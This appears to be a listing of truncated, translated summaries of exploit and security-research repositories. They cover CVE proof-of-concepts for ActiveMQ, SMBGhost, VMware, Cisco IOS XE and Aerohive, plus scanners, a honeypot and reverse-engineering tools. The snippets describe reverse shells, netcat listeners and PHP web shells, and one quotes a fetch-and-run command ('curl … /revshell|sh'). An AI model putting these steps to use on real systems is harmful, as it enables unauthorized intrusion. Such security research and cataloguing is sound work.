CVE-2023-46604

CVE-2023-46604 Создайте docker-compose, содержащий два образа: машина жертвы и машина цели в соответствии с требуемой средой. На машине жертвы запустите ActiveMQ. Переключаемся на машину атакующего: • Запустите HTTP-сервис для отправки PoC: python3 -m http.server • Используйте netcat для...

CVE-2023-42819

CVE-2023-42819 CVE-2023-42819 Description de la vulnérabilité Vulnérabilité d'écriture de fichier arbitraire dans JumpServer CVE-2023-42819 + CVE-2023-42820 = GetShell UTILISATION 1. Placer le script et les fichiers nécessaires dans le même répertoire 2. Vérifier que Google Chrome est installé et...

CVE-2020-0796

CVE-2020-0796 Удаленное выполнение кода POC c 2020 ZecOps, Inc. - https://www.zecops.com - Находите ошибки атакующих Удаленное выполнение кода POC для CVE-2020-0796 / "SMBGhost" Ожидаемый результат: Reverse shell с системным доступом. Предназначено только для образовательных целей и тестирования ...

cve-2026-27483

CVE-2026-27483 PoC: Path Traversal до RCE в MindsDB Этот PoC-скрипт основан на следующем уведомлении о безопасности GitHub По умолчанию MindsDB не использует аутентификацию PoC поддерживает оба режима: неаутентифицированный и аутентифицированный Мы можем запросить /api/handlers/, чтобы найти...

CVE-2023-20887

CVE-2023-20887 Exploit VMWare vRealize Network Insight Предварительно аутентифицированное RCE CVE-2023-20887 Использование usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url,...

CVE-2022-39986-RaspAP-2.8.0-2.8.7-RCE

RaspAP Hunter RaspAP Hunter — это Bash-скрипт, предназначенный для сканирования установок RaspAP и проверки на наличие конкретной уязвимости CVE-2022-39986. / \ / | / \ / // // // // \ / /| | / // / / , // // / / // // | / / // || ,//// ./// ||// // author: mind2hex / / / / / / / // // / / // \ /...

CVE-2023-20887

CVE-2023-20887 POC для CVE-2023-20887 VMWare Aria Operations for Networks vRealize Network Insight: удалённое выполнение кода RCE без аутентификации Технический анализ Анализ первопричины уязвимости можно найти в моём блоге:...

CVE-2024-45519

CVE-2024-45519 Скрипт эксплуатации уязвимости SMTP Обзор Этот скрипт проверяет наличие уязвимостей на SMTP-сервере и, если они обнаружены, эксплуатирует уязвимость, устанавливая обратное соединение reverse shell с вашей машиной. Возможности Проверка порта: Проверяет, открыт ли целевой SMTP-порт...

powerg-tools

Инструменты анализа PowerG Набор инструментов для реверс-инжиниринга и взаимодействия с радиопротоколом PowerG. Этот релиз сопровождает исследование, представленное Джеймсом Чемберсом и Султаном Касимом Ханом на REcon и hardwear.io. Дополнительную информацию см. в записи презентации и слайдах:...

cyber-decoy

cyber-decoy Un leurre réseau conteneurisé honeypot qui annonce SSH , RDP et SMB , observe chaque connexion entrante avec eBPF , et proxy inverse chaque session dans un conteneur leurre isolé. La conception sépare deux préoccupations : 1. Observation. Un classifieur TC eBPF attaché à l'interface d...

CVE-2023-45878

CVE-2023-45878 J'ai écrit ce script basé sur les travaux de https://herolab.usd.de/security-advisories/usd-2023-0025/ . L'exploit fonctionne en utilisant une vulnérabilité d'écriture arbitraire de fichier dans Gibbon LMS 25.0.1 . Ce PoC télécharge un simple script PHP cmd, puis l'utilise pour...

cve-2025-49844

CVE-2025-49844 Мое личное доказательство концепции для CVE-2025-49844, также известного как RediShell. Поддерживаемые целевые сборки: x86-64 Linux redis:8.2.1-alpine Docker image x86-64 Linux redis:8.2.1-bookworm Docker image Это немного коряво, вероятно, не так хорошо, как у Wiz Research. Тем не...

ActiveMQ-EXPtools

ActiveMQ-EXPtools Prend en charge la détection et l'exploitation des vulnérabilités Apache ActiveMQ : CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588 !WARNING Cet outil est destiné uniquement à la recherche en sécurité e...

CVE-2024-50498

CVE-2024-50498 Описание Уязвимость некорректного контроля генерации кода 'Code Injection' в LUBUS WP Query Console допускает внедрение кода. Эта проблема затрагивает WP Query Console: с n/a по 1.0. Настройка Netcat-слушателя: Откройте терминал на вашей машине и запустите Netcat-слушатель, чтобы...

CVE-2022-23935

CVE-2022-23935 🐍 Exploit Python pour CVE-2022-23935 Générateur de payload Reverse Shell par étapes pour CVE-2022-23935 Exemple cve-2022-23935 10.10.16.3 44444 Utilisation usage: cve-2022-23935 -h -l SERVERPORT -s SHELL ip port positional arguments: ip Adresse IP/Hôte pour le callback port Numéro ...

CVE-2024-0039-Exploit

CVE-2024-0039-Exploit Description Script Python pour exploiter la vulnérabilité CVE-2024-0039 : exécution de code arbitraire sur des appareils Android vulnérables. ATTENTION : Ce code est destiné uniquement à l'éducation et à la création, au service du bien, pour ainsi dire ! Utilisation Exécutez...

x86-cpp-reversing-skill

x86-cpp-reversing Навык Claude Code для обратной разработки 32-битных little-endian x86 IA-32 бинарников и дизассемблированного кода, скомпилированного из C++. Восстанавливает layouts классов, vtables, виртуальную диспетчеризацию и иерархии RTTI/наследования из ELF- или PE-бинарников, а также...

CVE-2023-20273

CVE-2023-20273 Эксплойт PoC для CVE-2023-20273 Использование usage: exploit.py -h -t URL -u Username -p Password -c Command | -r -dest Outfile -www | -tcp | -null -ip LocalIP -port LocalPort -fs filesystem -path filepath -operation operationtype -v -q CVE-2023-20273 Exploit PoC options: -h, --hel...

Fracture-

Fracture 🐈‍⬛ WIP-набор для реверс-инжиниринга JVM-приложений :3 На данный момент есть!!! Перехват registernatives с лёгкостью ^^...

CVE-2023-35803

CVE-2023-35803 - Неаутентифицированное RCE в беспроводных точках доступа Extreme Networks/Aerohive PoC для точек доступа на базе ARM под управлением HiveOS/IQ Engine "curl :8000/revshell|sh" Описание здесь: https://research.aurainfosec.io/pentest/bee-yond-capacity/...